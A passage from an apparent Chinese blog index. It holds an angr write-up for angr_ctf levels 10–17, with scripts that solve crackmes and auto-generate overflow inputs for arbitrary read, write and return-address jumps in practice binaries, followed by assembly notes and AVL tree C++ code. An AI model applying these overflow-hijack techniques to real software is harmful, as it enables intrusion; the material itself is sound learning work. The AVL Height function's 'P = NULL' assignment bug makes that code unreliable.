<= 15; ++i ) v5[i] = complex_function(v5[i], 18 - i); if ( check_equals_ORSDDWXHZURJRBDH(v5, 16) ) puts("Good Job."); else puts("Try again."); return 0;}\n\n第 10 题看起来和上一题一样,但是还是那个问题,如果调用点很多该怎么办?虽然 IDA 分析出的结果相似,但是通过交叉引用可以发现:\n\n显然不太可能每次都对地址进行钩取,因此需要有一个方法直接钩取函数:\nimport angrimport claripyproject=angr.Project("./10_angr_simprocedures",auto_load_libs=False)state=project.factory.entry_state()\n\n接下来钩取函数:\nclass ReplaceCmp(angr.SimProcedure): def run(self,arg1,arg2): cmp_str="ORSDDWXHZURJRBDH" input_str=self.state.memory.load(arg1,arg2) return claripy.If(cmp_str==input_str,claripy.BVV(1,32),claripy.BVV(0,32))project.hook_symbol("check_equals_ORSDDWXHZURJRBDH", ReplaceCmp())\n\n首先需要声明一个类,并定义 run 方法,而该方法将取代想要钩取的函数。其参数会和钩取的函数有相同的参数列表,但除此之外还需要一个 self 。\n至于 run 函数的实现则各不相同了。这里我们就直接模仿比较函数的最终效果,返回比较的结果。\n然后调用 project.hook_symbol 方法直接以函数名为参数对函数进行钩取即可。\n11_angr_sim_scanfint __cdecl main(int argc, const char **argv, const char **envp){ int i; // [esp+20h] [ebp-28h] char v6[20]; // [esp+28h] [ebp-20h] BYREF unsigned int v7; // [esp+3Ch] [ebp-Ch] v7 = __readgsdword(0x14u); print_msg(); memset(v6, 0, sizeof(v6)); qmemcpy(v6, "DCLUESMR", 8); for ( i = 0; i <= 7; ++i ) v6[i] = complex_function(v6[i], i); printf("Enter the password: "); __isoc99_scanf("%u %u", &buffer0, &buffer1); if ( !strncmp(&buffer0, v6, 4) && !strncmp(&buffer1, &v6[4], 4) ) puts("Good Job."); else puts("Try again."); return 0;}\n\n发现一把梭能解决:\nimport angrproject=angr.Project("./11_angr_sim_scanf",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)sim.explore(find=0x0804FCA1)if sim.found: res=sim.found[0] print(res.posix.dumps(0)) #b'1146242628 1296386129'\n\n不过原题的目的是让我们去钩取 scanf 函数。其实做法和上一题一样,这里就不再重复了。不过有一点我们必须抱有疑问,我们知道这类函数的参数数量是不确定的,但如果想要钩取一个函数,我们就需要给定一个确定的参数列表,这样才能定义 run 方法。\n这个问题我们留待以后阅读源代码再做考虑。至少目前来看,Angr 已经完善了 scanf 函数的 hook 了,我们可以直接一把梭解决这个问题。\n12_angr_veritesting// bad sp value at call has been detected, the output may be wrong!int __cdecl main(int argc, const char **argv, const char **envp){ int v3; // ebx int v5; // [esp-10h] [ebp-5Ch] int v6; // [esp-Ch] [ebp-58h] int v7; // [esp-8h] [ebp-54h] int v8; // [esp-4h] [ebp-50h] const char **v9; // [esp+0h] [ebp-4Ch] int v10; // [esp+4h] [ebp-48h] int v11; // [esp+8h] [ebp-44h] int v12; // [esp+Ch] [ebp-40h] int v13; // [esp+10h] [ebp-3Ch] int v14; // [esp+10h] [ebp-3Ch] int v15; // [esp+14h] [ebp-38h] int i; // [esp+14h] [ebp-38h] int v17; // [esp+18h] [ebp-34h] int v18[9]; // [esp+1Ch] [ebp-30h] BYREF unsigned int v19; // [esp+40h] [ebp-Ch] int *p_argc; // [esp+44h] [ebp-8h] p_argc = &argc; v9 = argv; v19 = __readgsdword(0x14u); print_msg(); memset( v18 + 3, 0, 33, v5, v6, v7, v8, v9, v10, v11, v12, v13, v15, v17, v18[0], v18[1], v18[2], v18[3], v18[4], v18[5]); printf("Enter the password: "); __isoc99_scanf("%32s", v18 + 3); v14 = 0; for ( i = 0; i <= 31; ++i ) { v3 = *(v18 + i + 3); if ( v3 == complex_function(87, i + 186) ) ++v14; } if ( v14 != 32 v19 ) puts("Try again."); else puts("Good Job."); return 0;}\n\n既然我们是通过钩取函数来解决某个函数的路径爆炸问题,那么就肯定会遇到这么一种情况:函数的某部分引发路径爆炸,但其他部分在做必要的运算 。\n本题就可以发现,循环判断语句嵌在 main 函数中,我们显然不能直接把整个 main 函数 hook 掉,那样就和直接读代码逆向没区别了。\nAngr 提供了一种名为 Veritesting 的算法,它能够让符号执行引起在 动态符号执行DSE 和 静态符号执行SSE 之间协同工作从而减少路径爆炸的问题。\n在 Angr 中只需要为 project.factory.simgr 添加一个参数 veritesting=True 即可开启。\nimport angrproject=angr.Project("./12_angr_veritesting",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state,veritesting=True)sim.explore(find=0x08048684)if sim.found: res=sim.found[0] print(res.posix.dumps(0))b'CXSNIDYTOJEZUPKFAVQLGBWRMHCXSNID'\n\n不过不得不说的是,这个方法看起来好像很万能,其实并没有想象中的那么好用。对于本题的这个体量来说,笔者执行了约 5 次才有一次能够迅速的算出结果。可想而知,对于体积稍微大一些,类似的循环稍微多一些的程序来说,这个方法并不能带来多大的提升,反而会让人难以猜测程序究竟是卡在路径爆炸中还是仍然处于计算。\n因此对于一些简单的问题,笔者虽然推荐这个方法,但只要问题稍微复杂一点,它甚至会增加人力负担。\n13_angr_static_binaryint __cdecl main(int argc, const char **argv, const char **envp){ int i; // [esp+1Ch] [ebp-3Ch] int j; // [esp+20h] [ebp-38h] char v6[20]; // [esp+24h] [ebp-34h] BYREF char v7[20]; // [esp+38h] [ebp-20h] BYREF unsigned int v8; // [esp+4Ch] [ebp-Ch] v8 = __readgsdword(0x14u); print_msg(); for ( i = 0; i <= 19; ++i ) v7[i] = 0; qmemcpy(v7, "LJVNEPAU", 8); printf("Enter the password: "); _isoc99_scanf("%8s", v6); for ( j = 0; j <= 7; ++j ) v6[j] = complex_function(v6[j], j); if ( !strcmp(v6, v7) ) puts("Good Job."); else puts("Try again."); return 0;}\n\n程序本身也并不复杂,和上一题的主要区别在于,这次使用了静态编译去生成二进制文件。\n本身 Angr 是在库函数装载时钩取这些函数的,静态编译的程序没有这个过程,因此道理上就会被主动分析,这就会带来很大的消耗了,因此本题需要钩取那些静态编译生成的库函数。\n其实差异不大,在上一篇文章中提到过,angr 内置了多个库函数,既然现在它无法自动钩取,由我们手动去做这件事就行了:\nimport angrproject=angr.Project("./13_angr_static_binary",auto_load_libs=False)state=project.factory.entry_state()project.hook(0x0804ED40,angr.SIM_PROCEDURES['libc']['printf']())project.hook(0x0804ED80,angr.SIM_PROCEDURES['libc']['scanf']())project.hook(0x0804F350,angr.SIM_PROCEDURES['libc']['puts']())project.hook(0x08048D10,angr.SIM_PROCEDURES['glibc']['__libc_start_main']())project.hook(0x0805B450,angr.SIM_PROCEDURES['libc']['strcmp']())sim=project.factory.simgr(state,veritesting=True)sim.explore(find=0x080489E1)if sim.found: res=sim.found[0] print(res.posix.dumps(0))#LYZGMMMV\n\n14_angr_shared_library\nBOOL __cdecl validate(int a1, int a2){ _BYTE *v3; // esi char v4[20]; // [esp+4h] [ebp-24h] BYREF int j; // [esp+18h] [ebp-10h] int i; // [esp+1Ch] [ebp-Ch] if ( a2 <= 7 ) return 0; for ( i = 0; i <= 19; ++i ) v4[i] = 0; qmemcpy(v4, "WLKGLJWH", 8); for ( j = 0; j <= 7; ++j ) { v3 = (j + a1); *v3 = complex_function(*(j + a1), j); } return strcmp(a1, v4) == 0;}\n\n这道题的特殊情况在于程序加载了额外的动态库并使用其中的函数。由于这个动态库是用户编写的,Angr 不能找到替代品去 hook 。而我们其实也不方便直接加载它,因为通过 auto_load_libs 会把其他无关紧要的东西一起加载进来。\n不过好在,这道题的主要逻辑全都放在了动态库中,这就能简化我们的操作了。\n我们可以使用 call_state 来完成操作:\nimport angrproject=angr.Project("./lib14_angr_shared_library.so",auto_load_libs=False)state=project.factory.call_state(0x000006D7+0x400000,arg1,claripy.BVV(8, 32))\n\n\n参数一:入口点地址\n参数二:该函数对应的参数 1\n参数三:该函数对应的参数 2\n……\n\n另外,我们将该函数的加载基址设到了 0x400000 。\n然后就是对参数的内容进行符号化:\npwd = claripy.BVS('pwd', 8*8)state.memory.store(arg1, pwd)\n\n最后就是求解方程了:\nsim=project.factory.simgr(state)sim.explore(find=0x783+0x400000)if sim.found: res=sim.found[0] res.add_constraints(res.regs.eax!=0) print(res.solver.eval(pwd))#6293577405752494919\n\n不过因为校验返回值的内容并不在库文件,所以我们需要手动通过 add_constraints 来为状态添加约束。\n当然,用 res.solver.add 也是可以的:\nsim.explore(find=0x783+0x400000)if sim.found: res=sim.found[0] res.solver.add(res.regs.eax!=0) print(res.solver.eval(pwd))#6293577405752494919\n\n不过需要区别的是,add_constraints 的约束是对状态所做的,而 res.solver.add 是对约束器做的。在本题中两个方法都行,但不能混用。\n15_angr_arbitrary_readint __cdecl main(int argc, const char **argv, const char **envp){ char v4; // [esp+Ch] [ebp-1Ch] BYREF char *v5; // [esp+1Ch] [ebp-Ch] v5 = try_again; print_msg(); printf("Enter the password: "); __isoc99_scanf("%u %20s", &key, &v4); if ( key == 19511649 ) puts(v5); else puts(try_again); return 0;}\n\n这次的题目就比较特殊了,它要求我们用 Angr 自动求解一个 payload,使得最终会溢出到变量 v5 来修改 puts 的参数。\nimport angrproject=angr.Project("./15_angr_arbitrary_read",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)def check_puts(state): puts_parameter = state.memory.load(state.regs.esp + 4, 4, endness=project.arch.memory_endness) is_vulnerable_expression = puts_parameter == 0x594e4257 if is_vulnerable_expression!=0: return True else: return Falsedef is_successful(state): puts_address = 0x8048370 if state.addr == puts_address: return check_puts(state) else: return Falsesim.explore(find=is_successful)if sim.found: res=sim.found[0] print(res.posix.dumps(0))\n\n其实思路很朴素,在函数调用 pust 时检查一下参数,看看它是不是 Good Job 字符串的地址即可。\n不得不说,Angr 的功能确实强大,连自动化求解 payload 都能做到了。\n16_angr_arbitrary_writeint __cdecl main(int argc, const char **argv, const char **envp){ char v4[16]; // [esp+Ch] [ebp-1Ch] BYREF void *v5; // [esp+1Ch] [ebp-Ch] v5 = &unimportant_buffer; memset(v4, 0, sizeof(v4)); strncpy(&password_buffer, "PASSWORD", 12); print_msg(); printf("Enter the password: "); __isoc99_scanf("%u %20s", &key, v4); if ( key == 24173502 ) strncpy(v5, v4, 16); else strncpy(&unimportant_buffer, v4, 16); if ( !strncmp(&password_buffer, "DVTBOGZL", 8) ) puts("Good Job."); else puts("Try again."); return 0;}\n\n目的是显然的,通过 __isoc99_scanf 来溢出,让 v5 指向 password_buffer 。\n笔者本来是打算直接直接将结果卡在 strncpy :\n\nimport angrimport claripyproject=angr.Project("./16_angr_arbitrary_write",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)def is_successful(state): if state.addr== 0x08048611: return True else: return Falsesim.explore(find=is_successful)if sim.found: print("yes") res=sim.found[0] print(res.posix.dumps(0))else: print("no")\n\n最后会发现这个写法是有问题的,Angr 最终会给出 No 。可以发现 Angr 对 find 的判断取决于每次进入基本块的第一个地址。\n因为它并不以每一条指令进行判断,而是对每次状态执行一次 step 执行完整个基本块后,再调用 find 的条件进行判断。\n\n不过,如果 find 本身是一个地址的话,却能够正常发现,有点奇怪,这个问题留到以后看源代码吧。\n\n最后笔者试着这样去完成:\nimport angrimport claripyproject=angr.Project("./16_angr_arbitrary_write",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)def check_v5(state): arg0=state.memory.load(state.regs.ebp-0xc,4,endness=project.arch.memory_endness) arg1=state.memory.load(state.regs.ebp-0x1c,4,endness=project.arch.memory_endness) now_str=state.memory.load(arg1,8) if state.solver.symbolic(arg0) and state.solver.symbolic(now_str): does_src_hold_password=arg0==0x4655544c does_dest_equal_buffer_address=now_str[-1:-64] == 'DVTBOGZL' if state.satisfiable(extra_constraints=(does_src_hold_password, does_dest_equal_buffer_address)): state.add_constraints(does_src_hold_password,does_dest_equal_buffer_address) return True else: return False else: return Falsedef is_successful(state): if state.addr== 0x08048604: return check_v5(state) else: return Falsesim.explore(find=is_successful)if sim.found: print("yes") res=sim.found[0] print(res.posix.dumps(0))else: print("no")\n\n它能帮我算出 key 和 v4 的最后四字节,但是中间的前几位却一直算不出结果。如果您知道为什么还请告诉我。\nb'0024173502 \\xf0\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00LTUF'\n\n最后还是修改了钩子钩取的地址来完成本题:\nimport angrimport claripyproject=angr.Project("./16_angr_arbitrary_write",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)def check_v5(state): arg0=state.memory.load(state.regs.esp + 4,4,endness=project.arch.memory_endness) arg1=state.memory.load(state.regs.esp + 8,4,endness=project.arch.memory_endness) now_str=state.memory.load(arg1,8) if state.solver.symbolic(arg0) and state.solver.symbolic(now_str): does_src_hold_password=arg0==0x4655544c does_dest_equal_buffer_address=now_str[-1:-64] == 'DVTBOGZL' if state.satisfiable(extra_constraints=(does_src_hold_password, does_dest_equal_buffer_address)): state.add_constraints(does_src_hold_password,does_dest_equal_buffer_address) return True else: return False else: return Falsedef is_successful(state): if state.addr== 0x8048410: return check_v5(state) else: return Falsesim.explore(find=is_successful)if sim.found: res=sim.found[0] print(res.posix.dumps(0)) #b'0024173502 DVTBOGZL\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00LTUF'else: print("no")\n\n可以看见,如果我将判断的地址添加在 0x8048410 处,也就是 strncpy 的 plt 表上,就能够顺利解决这个问题了。\n有些迷惑。\n17_angr_arbitrary_jumpint __cdecl main(int argc, const char **argv, const char **envp){ print_msg(); printf("Enter the password: "); read_input(); puts("Try again."); return 0;}\n\nint read_input(){ char v1[30]; // [esp+1Ah] [ebp-1Eh] BYREF return __isoc99_scanf(&unk_4D4C4860, v1);}\n\n\nunk_4D4C4860 处为 %s\n\n显然就是一个栈溢出了,但是这次需有让 Angr 自动去覆盖返回地址到 print_good 函数:\nint print_good(){ puts("Good Job."); exit(0); return read_input();}\n\n同样还是最开始那几个,但是注意,本题需要额外添加一个参数:\nimport angrproject=angr.Project("./17_angr_arbitrary_jump",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state,save_unconstrained=True)\n\nsave_unconstrained=True 会让 Angr 保存那些不受约束的状态。其实默认情况下的状态就是未约束的。将这些路径保存下来以后,进行遍历:\nd=sim.explore()for state in d.unconstrained: typ=project.arch.memory_endness next_stack=state.memory.load(state.regs.esp,4,endness=typ) state.add_constraints(next_stack==0x4D4C4749) state.add_constraints(state.regs.eip==0x4D4C4785) print(state.posix.dumps(0))#b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x85GLMIGLM\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\n为状态添加约束,去寻找同时满足 next_stack==0x4D4C4749 和 state.regs.eip==0x4D4C4785 的状态,然后给出该状态对应的 stdin 。\n结语其实做完这么多题目,尽管感叹 Angr 确实厉害的同时,也不得不承认它仍然有很多的问题,也并没有想象中那么完美。或许要让它走向更加实用的方向还需要一定的积累吧。\n","categories":["Note","漏洞挖掘"],"tags":["漏洞挖掘","符号执行"]},{"title":"常用命令 与 其他注释","url":"/2021/02/21/assembly01/","content":"因为网上各种各样的笔记都不如自己写一遍来得方便查阅,所以按照自己的喜好整理一下汇编的笔记。目前跟着Kip Irvine的书才学到第六章(条件跳转),所以再之后的笔记暂时保留,等之后学完了再整理吧。\n部分表格来源于:\nhttps://blog.csdn.net/qq_36982160/article/details/82950848\n插图ID:87882344\n常用的寄存器:\n31———-16\n15—8\n7—-0\n16位\n32位\nAH\nAL\nAX\nEAX\nBH\nBL\nBX\nEBX\nCH\nCL\nCX\nECX\nDH\nDL\nDX\nEDX\nBP\nEBP\nSI\nESI\nDI\nEDI\nSP\nESP\n注:在VisualStudio还能看见EFL与EIP两种寄存器\nEAX:拓展累加器。常用于做累加器、取返回值等操作。\nEBX:基底暂存器。\nECX:计数暂存器。\nEDX:资料暂存器。\nESI:拓展源变址寄存器。\nEDI:拓展目的变址寄存器。\nESP:拓展帧指针寄存器,也叫栈指针寄存器(extended stack pointer),存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶(我将其当作一个指向当前调用处的栈指针)\nEBP:基址指针寄存器(extended base pointer),存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部(我将其当作一个指向当前过程的起始栈址的栈指针)\nEFL:EFLAGS寄存器。包含了独立的二进制位(状态标志位),用于控制CPU操作或反应CPU的结果。\nEIP:指令指针。存放下一条将要指向的指令的地址。\n状态标志位:\nCF进位标志位\n主要反映算术运算是否产生进位或借位,若产生,则CF=1,否则CF=0\nOF溢出标志位\n反映有符号数运算结果是否产生溢出,是置1,否置0\nSF符号标志位\n根据运算结果的最高位,若最高位为1则SF为1,否则为0,反映了有符号数运算结果的正负(0正1负)\nZF零标志位\n反映运算结果是否为0\nAC辅助进位标志位\nAF=1时,向高位或高字节进位或借位\nPF奇偶校验标志位\n运算结果操作数位为1的个数为偶数个时为1,否则为0.\n\n对应EFL寄存器中的顺序。\n不过,有的集成开发环境里对状态标志位的写法是不一样的,下图为为别名(其实也不能称为别名,但姑且这么形容比较方便吧)。\n\n状态标志操作指令指令\n中文名\n格式\n解释\nCLC(clear carry flag)\n清进位标志指令\nCLC\n使进位标志CF为0\nSTC(set carry flag)\n置进位标志指令\nSTC\n使进位标志CF为1\nCMC(complement carry flag)\n进位标志取反指令\nCMC\n使进位标志CF取反\nLAHF(load status flags into AH register)\n获取状态标志操作指令\nLAHF\n把位于标志寄存器低端的5个状态标志位(p26图2.3)信息同时送到寄存器AH的对应位\nSAHF(store AH into Flags)\n设置状态标志操作指令\nSAHF\n对标志寄存器中的低8位产生影响,使得状态标志位SF、ZF、AF、PF和CF分别成为来自寄存器AH中对应位的值,但保留位(位1、位3、位5)不受影响\n数据类型:类型\n用法\nBYTE\n8位无符号整数,B代表字节\nSBYTE\n8位有符号整数,S代表有符号\nWORD\n16位无符号整数\nSWORD\n16位有符号整数\nDWORD\n32位无符号整数,D代表双(字)\nSDWORD\n32位有符号整数\nFWORD\n48位整数(保护模式下的远指针)\nQWORD\n64位整数,Q代表四(字)\nTBYTE\n80位整数,T代表10字节\nREAL4\n32位IEEE短实数(4字节)\nREAL8\n64位IEEE长实数(8字节)\nREAL10\n80位IEEE拓展实数(10字节)\n伪指令:\n指令\n作用\n“=”\n可将立即数与标记划等号,在调用标记时将直接进行替代\n“$”\n当前地址计数器。直接代表了当前位置的地址偏移量\nDUP\n可直接为数据分配空间。例:BYTE 20 DUP(0) 分配20字节\nEQU\n将符号名称与整数表达式或任意文本相连(类似于”=”,但更偏向于定义赋值,区别在于不可重定义)\nTEXTEQU\n创建文本宏。分配文本/textmacro分别文本宏内容/%constExpr分配整数常量\n关于汇编的伪指令其实还有很多,诸如 .break/.else/.if等等形如C语言中的操作,也支持”=>”/“==”等判断符。\n简单传送指令指令\n中文名\n格式\n解释\n备注\nMOV\n传送指令\nMOV DEST,SRC\nDEST<=SRC\nXCHG\n交换指令\nXCHG OPER1,OPER2\n把操作数oper1的内容与操作数oper2的内容交换\noper1和oper2可以是通用寄存器或存储单元,但不能同时是操作单元,也不能是立即数。\n拓展传送指令指令\n中文名\n格式\n解释\n备注\nMOVSX\n符号拓展传送指令\nMOVSX DEST,SRC\n把源操作数SRC符号拓展后送至目的操作数DEST\nsrc可以是通用寄存器或者存储单元,但是dest只能是通用寄存器(零拓展传送指令不会改变源操作数,也不影响标志寄存器的状态)\nMOVZX\nMOVZX DEST,SRC\n把源操作数SRC零拓展后送至目的操作数DEST\n零拓展传送指令不会改变源操作数,也不影响标志寄存器的状态\n简单加减指令指令\n中文名\n格式\n解释\n备注\nADD\n加法指令\nADD DEST,SRC\nDEST<=DEST SRC\n两数相加,结果于前\nSUB\n减法指令\nSUB DEST,SRC\nDEST<=DEST-SRC\n两数相减,结果于前\nINC\n加1指令\nINC DEST\nDEST<=DEST 1\nDEC\n减1指令\nDEC DEST\nDEST<=DEST-1\nNEG\n取补指令\nNEG OPRD\nOPRD=0-OPRD\n对操作数取补(相反数)\n常用条件转移指令指令\n中文名\n格式\n解释\n备注\nCMP\n比较指令\nCMP DEST,SRC\n根据dest-src的差影响各状态标志寄存器\n不把dest-src的结果送入dest\nJMP\n无条件段内直接转移指令\nJMP LABEL\n使控制无条件地转移到标号为label的位置\n无条件转移指令本身不影响标志\n\n堆栈和堆栈操作指令\n中文名\n格式\n解释\n备注\nPUSH\n进栈指令\nPUSH SRC\n把源操作数src压入堆栈\n源操作数src可以是32位通用寄存器、16位通用寄存器和段寄存器,也可以是双字存储单元或者字符存储单元,还可以是立即数\nPOP\n出栈指令\nPOP DEST\n从栈顶弹出一个双字或字数据到目的操作数\n如果目的操作数是双字的,那么就从栈顶弹出一个双字数据,否则,从栈顶弹出一个字数据,出栈至少弹出一个字(16位)该指令弹出ESP处数据\nPUSHA\n16位通用寄存器全进栈指令\nPUSHA\n将所有8个16位通用寄存器的内容压入堆栈\n压入顺序是AX CX DX BX SP BP SI DI,然后对战指针寄存器SP的值减16,所以SP进栈的内容是PUSHA指令执行之前的值\nPOPA\n16位通用寄存器全出栈指令\nPOPA\n以PUSHA相反的顺序从堆栈中弹出内容,从而恢复PUSHA之前的寄存器状态\nSP的值不是由堆栈弹出的,而是通过增加16来恢复\nPUSHAD\n32位通用寄存器全进栈指令\nPUSHAD\n将所有8个32位通用寄存器的内容压入堆栈\n压入顺序是EAX ECX EDX EBX ESP EBP ESI EDI,然后对栈指针寄存器ESP的值减32,所以SP进栈的内容是PUSHAD指令执行之前的值\nPOPAD\n32位通用寄存器全出栈指令\nPOPAD\n以PUSHAD相反的顺序从堆栈中弹出内容,从而恢复PUSHAD之前的寄存器状态\nESP的值不是由堆栈弹出的,而是通过增加32来恢复\n过程调用和返回指令指令\n中文名\n格式\n解释\n备注\nCALL\n过程调用指令\nCALL LABEL\n段内直接调用LABEL\n与jmp的区别在于call指令会在调用label之前保存返回地址(call 中return之后主程序还可以继续执行,jmp 当label执行完毕后不能返回主程序继续执行)\nRET\n段内过程返回指令\nRET\n使子程序结束,继续执行主程序\nret 4;ret 8等分别标识返回后回退的栈帧大小\n逻辑运算指令指令\n中文名\n格式\n解释\n备注\nNOT\n否运算指令\nNOT OPRD\n把操作数OPRD按位取反,然后送回OPRD\nAND\n与运算指令\nAND DEST,SRC\n把两个操作数进行与运算之后结果送回DEST\n同1得1,否则得0\nOR\n或运算指令\nOR DEST,SRC\n把两个操作数进行或运算之后结果送回DEST\n同0得0,否则得1\nXOR\n异或运算\nXOR DEST,SRC\n把两个操作数进行异或运算之后结果送回DEST\n相同得0不同得1\nTEST\n测试指令\nTEST DEST,SRC\n与AND指令类似,将各位相与,但是结果不送回DEST,仅影响状态位标志,指令执行后,ZF、PF、SF反映运算结果,CF和OF被清零\n通常用于检测某些位是否为1,但又不希望改变操作数的值\n循环指令指令\n中文名\n格式\n解释\n备注\nLOOP\n计数循环指令\nLOOP LABEL\n使ECX的值减1,当ECX的值不为0的时候跳转至LABEL,否则执行LOOP之后的语句\nLOOPE\n等于循环指令\nLOOPE LABEL\n使ECX的值减1,如果结果不等于0并且零标志ZF等于1(表示相等),那么就转移到LABEL,否则执行LOOPE之后的语句\nLOOPZ\n零循环指令\nLOOPZ LABEL\n使ECX的值减1,如果结果不等于0并且零标志ZF等于1(表示相等),那么就转移到LABEL,否则执行LOOPZ之后的语句\nLOOPNE\n不等于循环指令\nLOOPE LABEL\n使ECX的值减1,如果结果不等于0并且零标志ZF等于0(表示不相等),那么就转移到LABEL,否则执行LOOPNE之后的语句\nLOOPNZ\n非零循环指令\nLOOPNZ LABEL\n使ECX的值减1,如果结果不等于0并且零标志ZF等于0(表示不相等),那么9就转移到LABEL,否则执行LOOPNZ之后的语句\nJECXZ\n计数转移指令\nJECXZ LABEL\n当寄存器ECX的值为0时转移到LABEL,否则顺序执行\n通常在循环开始之前使用该指令,所以循环次数为0时,就可以跳过循环体\nLEA:将存储器操作数mem的4位16进制偏移地址送到指定的寄存器。\nLEA reg16,mem\nENTER/LEAVE:自动创建栈帧/自动删除栈帧\nMySub PROC ENTER 8,0 . . . LEAVE RETMySub ENDP;上下两端代码有着相同的意义 编译器将把上面的代码翻译为下面的代码MySub PROC push ebp mov ebp,esp sub esp,8 . . . mov esp,ebp pop ebp retMySub ENDP\n\nREP:重复指令。以ECX为计数器。\n\nrep movs dword ptr es:[edi],dword ptr ds:[esi]意思bai就是将ESI指向的du地址zhi的值以4字节方式拷贝到daoEDI指向的地址中,重复执行ECX次,每次执zhuan行后ESI+4,EDI+4,ECX-1,OD中在这段代码中下断后按F7单步步入就可以观察到这3个寄存器的变化\n\nSTOS:是将AL/AX/EAX的值存储到[EDI]指定的内存单元中\nSTOS BYTE PTR ES:[EDI]       ——BYTE:把al的值放到EDI指定的位置\nSTOS WORD PTR ES:[EDI]     ——WORD:把ax的值放到EDI的指定位置\nSTOS DWORD PTR ES:[EDI]  ——DWORD:把EAX的值放到EDI的位置\nINVOKE:只用于32位模式,用于将参数入栈(INVOKE procedureName [, arguementList])后者代表入栈的数据,可为列表\nPROC:(label PROC [attributes] [USES reglist] ,paramenter_list)\nPROTO:64位中用于指定程序的外部过程/32位中可包含参数\n如上三者分别可在32位模式下表示:(过程调用——过程实现——过程原型)\n汇编语言的常用编辑格式:\n.386;表示为32位程序.model flat,stdcall;储存形式 声明(内存模式/调用规范).stack 4096; 表示分配4096字节空间用于堆栈ExitProcess PROTO,dwExitCode:DWORDINCLUDE Irvine32.inc;调用链接库;分号在汇编中为注释符.data ;可在下方申请变量VALL BYTE 20h,30h,40h,50h;数组声明greet BYTE "hello world",0 BYTE "i want to creat a program",0dh,0ah byte "so i try to exit this greet ",0dh,0ah,0;字符串声明.data? ;同样是声明变量的区域.code ;程序代码区起始点 标记main PROC ;程序入口mov eax,0mov ebx,5mov ecx,7call SumOfINVOKE ExitProcess,0main ENDP ;过程的结束SumOf PROC ;类似于函数,通过call指令调用add eax,ebxadd eax,ecxretSumOf ENDPEND main ;程序的结束","categories":["Note","汇编语言"],"tags":["汇编"]},{"title":"一个汇编代码小实验","url":"/2021/10/26/asm-test0/","content":"这几天闲着没事,突然想起自己已经把汇编忘得差不多了,于是重新拿起汇编做了个小实验\n测试代码:\npush offset Countermov eax,espmov eax,[eax]push $+6jmp eaxleaveINVOKE ExitProcess,0\n\n关闭随机地址后,0x40206C:leave;$+6=0x40206B;jmp相当于call入一个函数,该函数将使用ret返回到 $+6 处\n机器码对照:\n0x40206A jmp eax:FF E00x40206C leave:C9\n\n于是取址之后拿到 E0 这个机器码后,译码器发现它应该有一个操作数的,于是向后把 C9 带上了,最后就执行E0 C9去了\n不过x32dbg会在滚动之后又将汇编代码识别回 leave 且看上去真的执行了,只是观察寄存器后发现并没有执行leave,因此姑且认为,还是以IDA动调分析的汇编代码为准较好\n另外补充一句:译码器在遇到不认识的机器码时,会直接崩溃,这一点经过笔者尝试得到了验证\n插画ID:91687652\n","categories":["Note","汇编语言"],"tags":["汇编"]},{"title":"AVL树Insert与Delete函数分析(C++)","url":"/2021/02/07/avlinsert/","content":"插入函数Insert先放一下代码。因为是照着黑皮书《数据结构与算法分析》学的,所以代码大致和书上的一样,我并没有做太多修改。只是在理解原理的时候有些比较棘手的地方,所以在这里记笔记,方便以后查看。\nint max(int n1,int n2){if (n1 >= n2)return n1;elsereturn n2;}//取最大值 static int Height(position P){if (P = NULL)return -1;elsereturn P->height;}//获取高度//只是通过结构内定义的高度去取值,没有测算 static position SingleRotateWithLeft(position K2){position K1;K1 = K2->left;K2->left = K1->right;K1->right = K2;K1->height = max(Height(K1->left), Height(K1->right)) + 1;K2->height = max(Height(K2->left), Height(K2->right)) + 1;return K1;}//单旋转(左树旋转) static position DoubleRotateWithLeft(position K3){K3->left = SingleRotateWithRight(K3->left);return SingleRotateWithLeft(K3);}//双旋转(左树旋转) static position SingleRotateWithRight(position K1){position K2;K2 = K1->right;K1->right = K2->left;K2->left = K1;K1->height = max(Height(K1->left), Height(K1->right)) + 1;K2->height = max(Height(K2->left), Height(K2->right)) + 1;return K2;}//单旋转(右树旋转) static position DoubleRotateWithRight(position K3){K3->right = SingleRotateWithLeft(K3->right);return SingleRotateWithRight(K3);}//双旋转(右树旋转) avltree insert(int X,avltree T){if (T == NULL){//T为空节点T = new avlnode;//假定空间永远是足够的T->height = 0;T->left = T->right = NULL;T->info = X;}if (X < T->info){T->left = insert(X, T->left);if (Height(T->left) - Height(T->right) >= 2)//事实上等于2才是最合适的{if (X < (T->left->info))T = SingleRotateWithLeft(T);elseT = DoubleRotateWithLeft(T);}}else if (X > T->info){T->right = insert(X, T->right);if (Height(T->right) - Height(T->left) >= 2)//事实上等于2才是最合适的{if (X > (T->right->info))T = SingleRotateWithRight(T);elseT = DoubleRotateWithRight(T);}}T->height = max(Height(T->left), Height(T->right)) + 1;return 